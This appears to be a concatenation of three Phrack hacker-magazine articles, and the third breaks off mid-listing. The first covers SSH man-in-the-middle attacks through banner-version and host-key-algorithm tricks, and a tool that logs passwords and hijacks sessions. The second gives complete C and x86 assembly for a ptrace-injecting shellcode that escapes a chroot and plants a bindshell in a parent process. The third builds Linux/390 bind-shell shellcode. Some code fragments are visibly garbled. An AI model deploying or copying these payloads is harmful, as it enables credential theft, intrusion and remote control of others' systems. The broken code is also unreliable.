|=----------------=[ stealth <>  ]=------------------=|

--[ Contents

    - Intoduction

  1 - Playing with the banner

  2 - Playing with the keys

  3 - Countermeasures

  4 - An Implementation

  5 - Discussion

  6 - Acknowledgments

  7 - References

--[ Introduction

The Secure Shell (SSH) protocol which itself is considered strong is often
weakly implemented. Especially the SSH1/SSH2 interoperability as
implemented in most SSH clients suffers from certain weak points as
described below. Additionally the SSH2 protocol itself is also flexible
enough to contain some interesting parts for attackers.

For disclaimer see the pdf-version of this article available [here].

  The described mim-program will be made available one week after releasing
this article to give vendors time for fixes (which are rather trivial) to
limit the possibility of abuse.

  In this article I will describe how SSH clients can be tricked into
thinking they are missing the host-key for the host they connected to even
though they already have it in their list of known hosts. This is possible
due to some points in the SSH drafts which makes life of SSH developers
harder but which was ment to offer special protection or more flexibility.

  I assume you have a basic understanding of how SSH works. However it is
not necessary to understand it all in detail because the attacks succeeds
in the handshake where only a few packets have been exchanged. I also
assume you are familiar with the common attacking scenarios in networks
like Man in the Middle attacks, hijacking attacks against plaintext
protocols, replay attacks and so on.

--[ 1 - Playing with the banner

The SSH draft demands that both, client and server, exchange a banner
before negotiating the key used for encrypting the communication channel.
This is indeed needed for both sides to see which version of the protocol
they have to speak. A banner commonly looks like


A client obtaining such a banner reads this as "speak SSH1 or SSH2 to me".
This is due to the "1" after the dash, the so called remote major version.
It allows the client to choose SSH1 for key negotiation and further
encryption. However it is also possible for the client to continue with
SSH2 packets as the "99" tells him which is also called the remote minor
version. (It is a convention that a remote-minor version of 99 with a
remote-major version of 1 means both protocols.)

  Depending on the clients configuration files and command-line options he
decides to choose one of both protocols. Assuming the user does not force a
protocol with either of the "-1" or "-2" switch most clients should behave
the same way. This is due to the configuration files which do not differ
that much across the various SSH vendors and often contain the line

  Protocol 1,2

which makes the client choose SSH protocol version 1. It is obvious what
follows now. Since the SSH client used to use SSH1 to talk to the server it
is likely that he never spoke SSH2 before. This may be exploited by
attackers to prompt a banner like


to the client. The client looks up his database of known hosts and misses
the host-key because it only finds the SSH1 key of the server which does
not help much because according to the banner he is not allowed to speak
SSH1 anymore (since the remote major version number is 2). Instead of
presenting a warning like

  Someone could be eavesdropping on you right now (man-in-the-middle attack)!
  It is also possible that the RSA1 host key has just been changed.
  The fingerprint for the RSA1 key sent by the remote host is
  Please contact your system administrator.

if someone tries MiM attacks against it without the banner-hack, it asks
the user to just accept the new key:

  Enabling compatibility mode for protocol 2.0
  The authenticity of host 'lucifer (' can't be established.
  DSA key fingerprint is ab:8a:18:15:67:04:18:34:ec:c9:ee:9b:89:b0:da:e6.
  Are you sure you want to continue connecting (yes/no)?

It is much easier now for the user to type "yes" instead of editing the
known_hosts file and restarting the SSH client. Once accepted, the
attackers SSH server would record the login and password and would forward
the SSH connection so the user does not notice his account was just

  The described attack is not just an upgrade attack. It also works to
downgrade SSH2 speaking clients to SSH1. If the banner would contain "2.0"
the client only spoke SSH2 to the original server and usually can not know
the SSH1 key of the server because he does not speak SSH1 at all. However
our MiM server speaks SSH1 and prompts the client once again with a key he
cannot know.

  This attack will not work for clients which just support one protocol
(likely to be SSH1) because they only implement one of them. These clients
should be very seldom and most if not all SSH clients support both
versions, indeed it is even a marketing-pusher to support both versions.

  If the client uses RSA authentication there is no way for the attacker to
get in between since he cannot use the RSA challenges presented to him by
the server because he is talking a different protocol to the client. In
other words, the attacker is never speaking the same version of the
protocol to both parties and thus cannot forward or intercept RSA

  A sample MiM program (ssharp) which mounts the banner-hack and records
logins can be found at [ssharp].

--[ 2 - Playing with the keys

It would be nice to have a similar attack against SSH without a version
switch. This is because the version switch makes it impossible to break the
RSA authentication.

  Reading the SSH2 draft shows that SSH2 does not use the host-key for
encryption anymore (as with SSH1 where the host and server-key was sent to
the client which sent back the session-key encrypted with these keys).
Instead the client obtains the host-key to check whether any of the
exchanged packets have been tampered with by comparing the server sent MAC
(Message Authentication Code; the server computes a hash of the packets
exchanged and signs it using the negotiated algorithm) with his own
computed hash. The SSH2 draft is flexible enough to offer more than just
one static algorithm to allow MAC computation. Rather it specifies that
during key exchange the client and the server exchange a list of preferred
algorithms they use to ensure packet integrity. Commonly DSA and RSA are

  stealth@liane:~> telnet 22
  Connected to
  Escape character is '^]'.

I deleted a lot of characters and replaced it with "..." because the
interesting part is the "ssh-dss" which denotes the servers favorite
algorithm used for MAC computation. Clients connecting to
cannot have a RSA key for computation because the server does not have one!
Of course the attackers MiM program has a RSA key and offers only RSA to
ensure integrity:

  stealth@liane:~> telnet 22
  Connected to
  Escape character is '^]'.
  at      s?eu??>vM??E=diffie-hellman-group-exchange-sha1,

A SSH client connecting to our MiM server will once again prompt the user
to accept the new key instead of issuing the MiM warning.

  The MiM server connected to the original server and got to know that he
is using DSA. He then decided to face the user with a RSA key. If the
original server offers DSA and RSA the MiM server will wait until the
client sends his preferred algorithms and will choose an algorithm the
client is naming for his second choice. A RFC compliant SSH2 server has to
choose the first algorithm he is supporting from the client list, our MiM
server will choose the next one and thus produces a key-miss on
client-side. This will again produce a yes/no prompt instead of the warning
message. "ssharp" also supports this key-hack mode.

--[ 3 - Countermeasures

Having the RSA host-key for a server offering a DSA host-key means nothing
for todays clients. They ignore the fact that they have a valid host-key
for that host but in a different key-type. SSH clients should also issue
the MiM warning if they find host-keys for the server where either the
version or type does not match. Its very likely someone in playing MiM
games. In my eyes it is definitely a bug in the SSH client software.

--[ 4 - An Implementation

There already exist some MiM implementations for SSH1 such as [dsniff] or
[ettercap]. Usually they understand the SSH protocol and put much effort
into packet assembling and reassembling or forwarding. Things are much
simpler.  ssharp is based on a normal OpenSSH daemon which was modified to
accept any login/password pair and starts a special shell for these
connections: a SSH client which is given the username/password and the real
destination IP. It logs into the remote host without user-interaction and
since it is bound to the mim servers pty it looks for the user like he
enters his normal shell. This way it is not needed to mess with SSH1 or
SSH2 protocol or to replace keys etc. We just play with the banner or the
signature algorithm negotiation the way described above.

  If compiled with USE_MSS option enabled, ssharp will slip the SSH client
through a screen-like session which allows attaching of third parties to
existing (mimed) SSH1 or SSH2 connections. It is also possible to kick out
the legitimate user and completely take control over the session.

--[ 5 - Discussion

I know I know; a lot of people will ask "thats all?" now. As with every
discovery plenty of folks will claim that this is "standard UNIX semantics"
or it is feature and not a bug or that the vulnerability is completely  Neither of them is the case here, and the folks only looking
for weaknesses in the crypto-algorithms such as key-stream-reuse and
possibilities to inject 2^64 ;-) adaptive choosen plain-texts will
hopefully acknowledge that crypto-analysis in 2002 welcomes laziness and
misunderstanding of drafs on board. Laziness already broke Enigma, but next
years will show how much impact it has when people are not able to
completely understand protocols or put too much trust in crypto and do not
think about the impact of violating the simple MUST in section of the super-crypto draft.

--[ 6 - Acknowledgments

Folks from the segfault dot net consortium ;-) for discussing and offering
test environments. If you like to donate some hardware or money to these
folks let me know. It would definitely help to let continue research on
this and similar topics.

 Also thanks to various other folks for discussing SSH with me.

 This article is also available [here] as pdf paper with some screen-shots
to demonstrate the power of ssharp.

--[ 7. References

[dsniff] as far as I know the first SSH1 MiM implementation "monkey in the
         middle" part of dsniff package.

[ettercap] good sniffer/mim combo program for lazy hackers ;-)

[ssharp] an implementation of the attacks described in this article

[here] this article as pdf with screenshots

|=[ EOF ]=---------------------------------------------------------------=|


                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x0c of 0x12

|=---------------=[ Building ptrace injecting shellcodes ]=--------------=|
|=------------=[ anonymous author < ]=-----------=|

---[ Contents

1 - Testing environment
2 - Why we should do ptrace injecting shellcode ?
3 - What does ptrace
   3.1 - Requirement
   3.2 - How does the library make the call
4 - Injecting code in a process - C code
   4.1 - The stack is our friend
   4.2 - Code to inject
   4.3 - Our first C code
5 - First try to shellcodize it
   5.1 When you need somebody to trace
   5.2 Waiting (for love ?)
   5.3 Registers where are you ?
   5.4 Upload in progress
   5.5 You'll be a man, my son.
6 - References and greetings

---[ 1 - Testing environment

First of all, I've to set the rules for my playground. I used to test all
these techniques under linux 2.4.18 i386 with executable stack. 
They may work under any linux releases, excepted the nonexec-stack ones,
due to the concept of the injection (On the stack).
By modifying a little bit these techniques it shoud be possible to exploit
any OS on any architecture, as long they support the ptrace() system call.

---[ 2 - Why we should do ptrace injecting shellcode ?

Starting in some of the 2.4.x kernel series, linux chroot is no longer
breakable by the good old well known method.(using chroot() tricks).
The linux chroot now really restricts the VFS usage, and a root shell on a
chrooted process may (theorically) be unusable for a cracker, except by
modifying (by example on a FTP server) the ftp tree.
An uid of zero may allow the cracker to do some others things that are not
restricted by the VFS on a standard 2.4 kernel :
- Changing some kernel parameters (time of day, etc...).
- Insert a kernel module (may be exploitable, but it is very hard to 
include a shellcode due to space restriction. It had been used in a wuftpd
2.5 exploit, by uploading a kernel backdoor and a staticaly linked insmod.
That's way much complicated to do successfuly than our tricks. )
- Somes VFS related thingies like using opens file descriptors.
- Debug any process on the system.

There is a huge vulnerability of the chroot system, which is corrected by
some security patches available on the net. A root user in a chrooted env
is still ptrace-capable on any process on the system (except init, 
of course).
This technique is also generic (doesn't use open fd's, may be usable even
on non root processes) and a chrooted apache may infect fingerd as an

Here comes the idea to create a ptrace shellcode. We may, with this 
shellcode, trace an unrestricted process and inject into it a second 
shellcode, which runs a bindshell in our example.
Here is what we want for this ptrace shellcode :

-Relative small size (must be usable as a real shellcode). I saw in some
exploits (like the 7350wu one) a little smaller shellcode doing a read 
(0,%esp,shellcode_len), and I thought it as a really "good-idea (TM)" to
inject a big shellcode. So this parameter is not so critical.

-Must be runable more than once in a short laps of time.
If the first exploitation attempt failed (e.g. port already binded), the
traced process must not crash. (in the wuftpd case, if we inject malicious
code in inetd, it should let it listen for ftp connections)

-The selection of the target process may be most of the time the parent 
process (inetd for a ftp server) which usually has full root access. We 
can also try all pid, starting from 2, until we find something traceable.

-We can't lookup into /proc for any process to trace.

These rules can be fulfilled, and are enough for most exploitation cases,
I think. 

---[ 3 - What does ptrace

3.1 - Requirement

You may know that the ptrace system call has been created for tracing and
debugging process within usermode.
A process may be ptraced by only one process at a time, and only by a pid
owned by the same user, or by root.
Under linux, ptrace commands are all implemented by the ptrace()
function/syscall, with four parameters. The prototype is there :
       #include <sys/ptrace.h>

       long  int ptrace(enum __ptrace_request request, pid_t pid,
       void * addr, void * data)

'request' is a symbolic constant declared in sys/ptrace.h . We shall use
those :

	Attach to the process pid.

	ugh, Detach from the process pid. Never forget to do that, or
	your traced process will stay in stopped mode, which is 
	unrecoverable remotely.

	This command copy the process registers into the struct 
	pointed by data (addr is ignored). This structure is struct 
	user_regs_struct defined as this, in asm/user.h :
	struct user_regs_struct {
	        long ebx, ecx, edx, esi, edi, ebp, eax;
	        unsigned short ds, __ds, es, __es;
	        unsigned short fs, __fs, gs, __gs;
	        long orig_eax, eip;
	        unsigned short cs, __cs;
	        long eflags, esp;
	        unsigned short ss, __ss;

	This command has the opposite meaning of PTRACE_GETREGS, with
	same arguments

	This command copies 32 bits from the address pointed by data
	in the addr address of the traced process. This is equivalent

An important thing when you attach a pid is that you have to wait for the
traced process to be stopped, and so have to wait for the SIGCHLD 
wait(NULL) does this perfectly (implemented in the shellcode by waitpid).

3.2 - How does the library make the call

As we are writing asm code, we have to know how to call directly the
ptrace system call. Little tests may show us the way the library uses to
wrap the syscalls, and simply :
eax is SYS_ptrace (26 decimal)
ebx is request (e.g. PTRACE_ATTACH is 16)
ecx is pid
edx is addr
esi is data
in error case, -1 is stored in eax.

---[ 4 - Injecting code in a process - C code

4.1 - The stack is our friend

I've seen some injection mechanism used by some ptrace() exploits for
linux, which injected a standard shellcode into the memory area pointed
by %eip. That's the lazy way of doing injection, since the target process
is screwed up and can't be used again. (crashes or doesn't fork)
We have to find another way to execute our code in the target process.
That's what I was thinking and I found this :

 1- Get the current eip of the process, and the esp.
 2- Decrement esp by four
 3- Poke eip address at the esp address.
 4- Inject the shellcode into esp - 1024 address (Not directly 
	before the space pointed by esp, because some shellcodes 
	use the push instruction)
 5- Set register eip as the value of esp - 1024
 6- Invoke the SETREGS method of ptrace
 7- Detach the process and let it open a root shell for you :)

The reason of non-usability on systems with nonexec stack is that the
shellcode is uploaded onto the stack. That's a /feature/, not a bug.
I've heard of methods saving the memory context of the traced process,
uploading shellcode, wait it to finish (usually after the fork) and then
restoring the old state of the traced process.
That's a way, but I don't think it is really efficient because modern
non-exec patches also avoid ptracing of unrestricted processes. (At least
grsec does that.)

The target stack may look as this :
[DOWN][program stack][old_eip][craps for 1024 bytes][shellcode][UP]
                     ^> Original esp points here        new eip<^
                          new<^>esp points here
Something important to do before the exploitation is to put two nops bytes
before the shellcode. Reason is simple : if ptrace has interrupted a syscall
being executed, the kernel will subtract two bytes from eip after the 
PTRACE_DETACH to restart the syscall.

   4.2 - Code to inject
The code to inject has to work peacefully with the stack we have set up
for it : it may fork(), and let the original process continue its job.
The new process may launch a bindshell !
Here's the code of s1.S , compilable with gcc :

/* all that part has to be done into the injected process */
/* in other word, this is the injected shellcode          */
.globl injected_shellcode
// ret location has been pushed previously
pusha           // save before anything
xor %eax,%eax
mov $0x02,%al  //sys_fork
int $0x80       //fork()
xor %ebx,%ebx
cmp %eax,%ebx   // father or son ?
je  son         // I'm son
//here, I'm the father, I've to restore my previous state
ret /* return address has been pushed on the stack previously */
// code finished for father

son: /* standard shellcode, at your choice */
.string ""

local@darkside:~/dev/ptrace$ gcc -c s1.S
Explanations :
The first two nops are the nops I've discussed just before, because in my
final shellcode I choose to decrement the destination buffer source 
address by two.
The pusha saves all the registers on the stack, so the process may restore
them just after the fork. (I say eax and ebx)
If the return value of fork is zero, this is the son being executed.
There we insert any style of shellcode.
If the return value is not zero (but a pid), restore the registers and the
previously saved eip. The program may continue as if nothing has happened.

   4.3 - Our first C code

Lot of theory, now a little practical example. Here is a program which
will fork, attach its son, inject it the code, let it run and after kill it.
So, there is p2.c :
#include <stdio.h>
#include <sys/ptrace.h>
#include <linux/user.h>
#include <signal.h>
typedef long int pid_t;

void injected_shellcode();
char *hello_shellcode=
"\x6f\x2c\x57\x6f\x72\x6c\x64\x20\x21" ;
/* Prints hello. What a deal ! */

char *shellcode;
int child(){
        return 0;
int father (pid_t pid){
        int error;
        int i=0;
        int ptr;
        int begin;
        struct user_regs_struct data;
        if (error=ptrace(PTRACE_ATTACH,pid,NULL,NULL))
        printf("%%eip : 0x%.8lx\n",data.eip);
        printf("%%esp : 0x%.8lx\n",data.esp);

        data.esp -= 4;

        printf("Inserting shellcode into %.8lx\n",begin);
                ptrace(PTRACE_POKETEXT,pid,ptr,(int)* (int *)
        ptrace (PTRACE_DETACH,pid,NULL,NULL);
        return 0;
int main(int argc,char **argv){
        pid_t pid=0;
        shellcode=malloc( strlen((char*) injected_shellcode) +
                strlen(hello_shellcode) + 4);
        strcpy(shellcode,(char *) injected_shellcode);
        strcat(shellcode,(char *) hello_shellcode);
        printf("p2 : trying to launch shellcode on forked process\n");
        if (pid){
                printf("I'm the father\n");
                printf("I'm the child\n");
        return 0;

Compile all that with gcc -o p2 p2.c s1.S
and admire my cut & paste skillz
local@darkside:~/dev/ptrace$ ./p2
p2 : trying to launch shellcode on forked process
I'm the father
I'm the child
...%eip : 0x400c0a11
%esp : 0xbffff470
Inserting shellcode into bffff06c
.Hello,World !.

It really happened. the .... process forked and then printed 
"Hello, world!".

5 - First try to shellcodize it

Before doing it, we have to remember our rules. I'll program it without
really optimizing it in size (I let bighawk or pr1 do that) but designing
with pre-compiler conditional assemble.
gcc -DLONG for a very careful shellcode (checks etc...)
gcc -DSHORT for a very tiny shellcode (which does the minimum but unsafe).

So, if size really matters, we can exit(0) simply by jumping anywhere, or
if size does not matter at all, we can make draconian tests.
I will use at&t syntax, compilable with gcc.
If you don't like it, a good (and big) awk script may do the trick.

   5.1 When you need some body to trace

A basic approach is first to set the stack pointer to a high value.
We can't be certain that the stack pointer is not less than current eip
(in the case of a stack based overflow).
The easier (and laziest) way to do this is to set esp to 0xbffffe04.
This esp value works on nearly all linux/x86 boxes I've seen, and is near
the stack bottom, but not too much, and doesn't contain a zero.
Then, we get the ppid process with the getppid() syscall. Next, first try
to attach it.
If the attach fails, 99% chances are that the ppid is init.
In this case, we increment the pid until we can attach something.
(Warning, debugging this part of code is not easy at all. When you trace 
a process, you become its ppid. In this case, the shellcode will attach 
your debugger and a mutual deadlock will appear. Who told "A cool/good 
anti-debugger technique ?")
So I included a test for the DEBUG_PID preprocessor variable.
Put there whatever pid you want to inject something in.

Note that the pid is put on the stack, at the 12(%ebp) place. That's 
useful because we will need it in nearly all system calls.

   5.2 Waiting (for love ?)

Now, little shellcode has to wait for its child. There are two ways of 
doing this :
- waitpid(pid,NULL,NULL);
- big big loop;

As I didn't success to make a reasonably short (in time) loop smaller in
size than the syscall, the code contains only the system call. 

   5.3 Registers where are you ?

The target process is ready to be modified, but the first thing to do with
it is to extract the registers.
The ebp register is saved into esi, and then esi is incremented by 16.
It will be the "data" argument of the ptrace call.
So, after the syscall, target registers are beginning at 16(%ebp).
Interesting registers are :
esp : 76(%ebp)
eip : 64(%ebp)

The register tricks I have described before are in the shellcode source, 
but are not so complicated, including the "push"-like instruction to push
the old eip address.

   5.4 Upload in progress

"Uploading" the shellcode, or injecting it in the target process, is just
a little loop. The shellcode itself is not really clear because the loop
counter used is esp.
We set esp with the value specified in macro SHELLCODELEN. In edi, we set
the memory address of the injected shellcode in the current process. Edx
contains the target address, previously decremented of two conforming to
our first note about this.

As after the interrupt call, eax must be zero, we can safely use it to test
if esp reached the final state.

   5.5 You'll be a man, my son.

We can safely detach the process now. If we forget to detach (laziness or
simply spaceless) the process will remain in interrupted state, which
needs a SIGCONT to launch our bindshell.
After this hard work, shellcode can exit, simply by the exit() syscall 
which usually doesn't alarm inetd or such and doesn't create any alarming
note in syslog. (for the cute version, "ret" may be enough to segfault and
so close the process.)

The bindshell I included binds port 0x4141. Remember that two fast
executions of the shellcode may block the port 0x4141 for minutes.
That was quite annoying while coding this.

The shellcode hasn't been optimized in size yet.
You can compile the attached code with
gcc -DLONG -c -o injector.o injector.S
and linking it with your favourite exploit. Code is 100% null-chars free.
I didn't look for newlines, carriage returns, spaces, percents, 0xff, 

---[ 6 - References and greetings

Man page of ptrace() is cool, lucid, informative, and so on.

Intel documentation book 2 : the instructions was an useful book
full of 1-byte-instructions-which-does-everything.

Special greets to the other guys from, UNF people, my tender
girlfriend and to at&t who made their own cool asm syntax.
Special thanks too to the channels #fr,#ircs,#!w00nf,#segfault,#unf for
their special support, and especially to double-p ,fozzy and OUAH who corrected
my lame english and gave me some advices. 

/* Injects a shellcode in a process using ptrace system call */
/* Tested on : linux 2.4.18 */

	/* That is, size of (the injected shellcode + bindshell)/4 */ 
#ifndef SHORT
	#define LONG

#ifdef LONG
	#undef SHORT
.globl shellcode
.type	 shellcode,@function

/* injector begins here */

mov $0xbffffe04,%esp

/* first thing, we have to find our ppid */
xor %eax,%eax
mov $64,%al	/* sys_getppid	*/
int $0x80
#ifdef DEBUG_PID
	mov $DEBUG_PID,%ax
	/* put it on the stack */
mov %esp,%ebp	/* save the stack in stack pointer */
mov %eax,12(%ebp)	/* save the pid there */
/* now we have to do a ptrace */
xor %eax,%eax
mov $26,%al	/* sys_ptrace */
mov 12(%ebp),%ecx
mov %eax,%ebx
mov $0x10,%bl	/* PTRACE_ATTACH */
int $0x80	/* do ptrace(PTRACE_ATTACH,getppid(),NULL,NULL); */
xor %ebx,%ebx
cmp %eax,%ebx
je good	/* we are not leet enough, or ppid is init	*/	
inc %ecx
mov %ecx,12(%ebp)
jmp redo

/* now we have to do a waitpid(pid,NULL,NULL)	*/
mov %eax,%edx /* NULL */
mov %ecx,%ebx /* pid */
mov %edx,%ecx /* NULL */
mov $7,%al /* SYS_waitpid */
int $0x80

/* now get its registers */
xor %eax,%eax /* Should waitpid return 0 ? never ;) */
xor %ebx,%ebx 
mov %ebp,%esi   
add $16,%esi	/* 16 up of the stack pointer */
mov $12,%bl	/* %ebx is zero, PTRACE_GETREGS */
mov 12(%ebp),%ecx /* pid */
mov $26,%al	/* %eax is zero. */

/* %edx doesn't contain anything since PTRACE_GETREGS doesn't use addr */
int $0x80

/* so now we have registers in 16(%ebp) */
/* two interresting : %eip and %esp     */
/* %eip : (16+48)(%ebp)			*/
/* %esp : (16+60)(%ebp)			*/
/* rq : 12(%ebx) contains ppid 		*/
/* 8(%ebx) will contain the eip		*/

sub $4,76(%ebp)		/* dec the esp */
mov 76(%ebp),%edi	/* put it in our temp eip */
sub $1036,%di
mov %edi,8(%ebp) /* that's the address where we */
		/* shall start to install our code */
/* we need to push the eip at top of the stack */

mov $26,%al
mov $4,%bl	/* PTRACE_POKETEXT*/
mov 12(%ebp),%ecx /*ppid */
mov 76(%ebp),%edx /* esp we have decremented */
mov 64(%ebp),%esi /* old eip */
int $0x80 /* what a work for push %eip */
mov  %edi ,64(%ebp) /* eip = our code nah, %edi == 8(%ebp) */
/* now put our cool registers set */

xor %eax,%eax
xor %ebx,%ebx
mov $26,%al
mov $13,%bl	/* PTRACE_SETREGS*/
/* ppid always set so %ecx */
/* %edx ignored */
mov %ebp,%esi
add $16,%esi
int $0x80
/* registers have been updated. now inject the shellcode */
/* %edi : location in memory where we put the shellcode */

jmp start
goback: /* push on the stack the address of the shellcode to inject */

mov %edi,%edx	/* addr */
dec %edx
dec %edx
/* returning from syscall, eip goes 2 before current eip */
/* with this trick, it goes on 2 nops */
pop %edi	/* data */
xor %eax,%eax
mov %eax,%esp
mov $4,%bl

mov $26,%al
mov 12(%ebp),%ecx
mov (%edi),%esi
int $0x80
dec %esp
add $4,%edx  /* target shellcode */
add $4,%edi  /* local shellcode, source */ 
cmp %esp,%eax  /* Len > 0 ? */
jne loop    

mov $26,%al
xor %ebx,%ebx
mov $0x11,%bl	/* PTRACE_DETACH */
mov 12(%ebp),%ecx	/* pid */
//xor %edx,%edx
//xor %esi,%esi
int $0x80
/* Now we can exit */

#ifdef LONG
xor %eax,%eax		/* exit silently */
mov %eax,%ebx
mov $1,%al	/* sys_exit */
int $0x80 	/* die in peace, poor child */
#ifndef LONG

call goback

/* all that part has to be done into the injected process */
/* in other word, this is the injected shellcode          */

// ret location has been pushed previously
pusha 		// save before anything by saving registers
xor %eax,%eax
mov $0x02,%al  //sys_fork
int $0x80	//fork()
xor %ebx,%ebx
cmp %eax,%ebx	// father or son ?
je  son		// I'm son
//here, I'm the father, I've to restore my previous state
/* code finished for the father */
son: /* standard shellcode, at your choice */

/* Bind shellcode */
xor %eax,%eax
cdq /* %edx= 0 */
push %edx /* IPPROTO_TCP */
inc %edx		/* SOCK_STREAM */
mov %edx,%ebx /* socket() */
push %edx
inc %edx		/* AF_INET */
push %edx
mov %esp,%ecx 

mov $102,%al
int $0x80

mov %eax,%edi /* Save the socket in %edi */

cdq /* %edx= sign of %eax = 0 */
inc %ebx /* bind */ /* was 1, become 2 */
push %edx /* addr */
/*change \/ here */
push $0x4141ff02 /* here, change the 0x4141 for the port */
/*       /\      */

mov %esp,%esi /* save the address of sockaddr in %esi */
push $16    /* Size of this shit */ //$16 
push %esi /* struct sockaddr * */
push %edi /* socket number */
mov %esp,%ecx
	/* bind() */
mov $102,%al
int $0x80

/* Erf, I use the previous data on the stack, they are even good enough */
inc %ebx /*3...*/
inc %ebx /*4 */ 
mov $102,%al
int $0x80 /* Listen(fd,somehug) (somehuge always > 0 so it's good) */

push %esp	/* Len */
push %esi	/* sockaddr* */
push %edi	/* socket */
inc %ebx 	/* 5 */ 
mov %esp,%ecx
mov $102,%al
int $0x80 /* accept */

xchg %eax,%ebx /* Save our precious file descriptor */
pop %ecx /* take the value of %edi, that's usualy %ebx-1 */
mov $63,%al /* dup2 */
int $0x80
dec %ecx
cmp %ecx,%edx
jle duploop

//jnl loop /* For each file descriptor before %ebx, dup2() it */

/* Std lnx_bin_sh_1 shellcode */
push %edx
push $0x68732f6e
push  $0x69622f2f
mov %esp,%ebx
push %edx
push %ebx
mov %esp,%ecx
mov $11, %al
int $0x80

.string ""


 // compiled with -DLONG
 // binds to port 16705
char injector_lnx[]= 
"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" ;
 /*size :279 */


                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x0d of 0x12

|=----------------=[ Linux/390 shellcode development ]=------------------=|
|=-------=[ johnny cyberpunk <> ]=--------=|

--[ Contents

  1 - Introduction

  2 - History and facts
    2.1 - Registers
    2.2 - Instruction set
    2.3 - Syscalls
    2.4 - The native code
    2.5 - Avoiding the evil 0x00 and 0x0a
    2.6 - The final code

  3 - References

--[ 1 - Introduction

    Since Linux/390 has been released by IBM more and more b0xes of this
type can be found in the wild. A good reason for a hacker to get a closer
look on how vulnerable services can be exploited on a mainframe. Remember,
who are the owners of mainframes ? Yeah, big computer centres, insurances
or goverments. Well, in this article I'll uncover how to write the bad code
(aka shellcode). The bind-shellcode at the end should be taken as an 
example. Other shellcode and exploit against some known vulnerabilities can
be found on a seperate link (see References) in the next few weeks.

    Suggestions, improvements or flames can be send directly to the email
address posted in the header of this article. My gpg-key can be found at
the document bottom.

--[ 2 - History and facts

    In late 1998 a small team of IBM developers from Boeblingen/Germany
started to port Linux to mainframes. One year later in December 1999 the
first version has been published for the IBM s/390. There are two versions

    A 32 bit version, referred to as Linux on s/390 and a 64 bit version, 
referred to as Linux on zSeries. Supported distros are Suse, Redhat and
TurboLinux. Linux for s/390 is based on the kernel 2.2, the zSeries is
based on kernel 2.4. There are different ways to run Linux:

Native       - Linux runs on the entire machine, with no other OS
LPAR         - Logical PARtition): The hardware can be logically
               partitioned, for example, one LPAR hosts a VM/VSE
               environment and another LPAR hosts Linux. 
VM/ESA Guest - means that a customer can also run Linux in a virtual

The binaries are in ELF format (big endianess).

----[ 2.1 - Registers

    For our shellcode development we really don't need the whole bunch of
registers the s/390 or zSeries has. The most interesting for us are the
registers %r0-%r15. Anyway I'll list some others here for to get an

General propose registers        : 
        %r0-%r15 or gpr0-gpr15 are used for addressing and arithmetic
Control registers                : 
        cr0-cr15 are only used by kernel for irq control, memory
        management, debugging control ...
Access registers                 :
        ar0-ar15 are normally not used by programs, but good for 
        temporary storage
Floating point registers        :
        fp0-fp15 are IEEE and HFP floating ( Linux only uses IEEE )
PSW ( Programm Status Word )        :
        is the most important register and serves the roles of a program
        counter, memory space designator and condition code register.
        For those who wanna know more about this register, should take
        a closer look on the references at the bottom.

----[ 2.2 - Instruction set

Next I'll show you some useful instructions we will need, while developing
our shellcode.

Instruction                        Example
basr (branch and save)        %r1,0               # save value 0 to %r1
lhi  (load h/word immediate)  lhi %r4,2           # load value 2 into %r4
la   (load address)           la %r3,120(%r15)    # load address from
                                                  # %r15+120 into %r3
lr   (load register)          lr %r4,%r9          # load value from %r9
                                                  # into %r4
stc  (store character)        stc %r6,120(%r15)   # store 1 character from
                                                  # %r6 to %r15+120
sth  (store halfword)         sth %r3,122(%r15)   # store 2 bytes from
                                                  # %r3 to %r15+122
ar   (add)                    ar %r6,%r10         # add value in %r10 ->%r6
xr   (exclusive or)           xr %r2,%r2          # 0x00 trick :)
svc  (service call)           svc 1               # exit

----[ 2.3 - Syscalls

    On Linux for s/390 or zSeries syscalls are done by using the
instruction SVC with it's opcode 0x0a ! This is no good message for
shellcoders, coz 0x0a is a special character in a lot of services. But
before i start explaining how we can avoid using this call let's have a
look on how our OS is using the syscalls.

    The first four parameters of a syscall are delivered to the registers
%r2-%r5 and the resultcode can be found in %r2 after the SVC call.

Example of an execve call:

        basr	  %r1,0
        la        %r2,exec-base(%r1)
        la        %r3,arg-base(%r1)
        la        %r4,tonull-base(%r1)
        svc     11

        .string  "/bin//sh"
        .long   exec 
        .long   0x0

    A special case is the SVC call 102 (SYS_SOCKET). First we have to feed
the register %r2 with the desired function ( socket, bind, listen, accept, 
....) and %r3 points to a list of parameters this function needs. Every
parameter in this list has its own u_long value.

And again an example of a socket() call :

        lhi        %r2,2                # domain
        lhi        %r3,1                # type
        xr         %r4,%r4              # protocol
        stm        %r2,%r4,128(%r15)    # store %r2 - %r4
        lhi        %r2,1                # function socket()
        la         %r3,128(%r15)        # pointer to the API values
        svc        102                  # SOCKETCALL
        lr         %r7,%r2              # save filedescriptor to %r7


----[ 2.4 - The native code

So now, here is a sample of a complete portbindshell in native style :

        .globl _start
        basr       %r1,0                     # our base-address

        lhi        %r2,2                     # AF_INET
        sth        %r2,120(%r15)
        lhi        %r3,31337                 # port
        sth        %r3,122(%r15)
        xr         %r4,%r4                   # INADDR_ANY
        st         %r4,124(%r15)             # 120-127 is struct sockaddr *
        lhi        %r3,1                     # SOCK_STREAM
        stm        %r2,%r4,128(%r15)         # store %r2-%r4, our API values
        lhi        %r2,1                     # SOCKET_socket
        la         %r3,128(%r15)             # pointer to the API values
        svc        102                       # SOCKETCALL 
        lr         %r7,%r2                   # save socket fd to %r7
        la         %r3,120(%r15)             # pointer to struct sockaddr *
        lhi        %r9,16                    # save value 16 to %r9
        lr         %r4,%r9                   # sizeof address
        stm        %r2,%r4,128(%r15)         # store %r2-%r4, our API values
        lhi        %r2,2                     # SOCKET_bind
        la         %r3,128(%r15)             # pointer to the API values
        svc        102                       # SOCKETCALL
        lr         %r2,%r7                   # get saved socket fd
        lhi        %r3,1                     # MAXNUMBER
        stm        %r2,%r3,128(%r15)         # store %r2-%r3, our API values
        lhi        %r2,4                     # SOCKET_listen
        la         %r3,128(%r15)             # pointer to the API values
        svc        102                       # SOCKETCALL
        lr         %r2,%r7                   # get saved socket fd
        la         %r3,120(%r15)             # pointer to struct sockaddr *
        stm        %r2,%r3,128(%r15)         # store %r2-%r3,our API values
        st         %r9,136(%r15)             # %r9 = 16, this case: fromlen
        lhi        %r2,5                     # SOCKET_accept
        la         %r3,128(%r15)             # pointer to the API values
